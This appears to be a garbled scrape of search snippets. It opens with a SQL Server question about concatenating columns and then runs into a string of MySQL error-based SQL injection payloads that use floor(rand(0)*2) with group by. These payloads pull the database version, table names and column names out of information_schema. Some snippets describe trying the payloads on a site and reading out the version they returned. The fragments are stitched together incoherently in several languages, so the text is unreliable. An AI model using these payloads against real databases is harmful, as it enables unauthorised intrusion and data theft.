How to Concat two column in a select statement sql server 2005? Here is my statement Select FirstName,secondName from Table... Now i did try concating secondName with FirstName by using …
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))).
SELECT * FROM users WHERE id=1 AND (SELECT 1 FROM (SELECT count(*),CONCAT((SELECT @@version),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y); Then I get DBMS version : ‘5.1.73-0ubuntu0.10.04.1‘.
InnoDB processes SELECT COUNT(*) statements by traversing the smallest available secondary index unless an index or optimizer hint directs the optimizer
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT((select TABLE_NAME from INFORMATION_SCHEMA.TABLES LIMIT 1,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND '%'='%. now we know the users table...
爆表 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)
x group by concat(version(),floor(rand(0)*2)))-- (в некоторых случаях требуется) например колонки типа VARCHAR и размерностью >153 script.php?par=1 or (select count(*)from(select 1 union select 2 union select 3)x group by concat...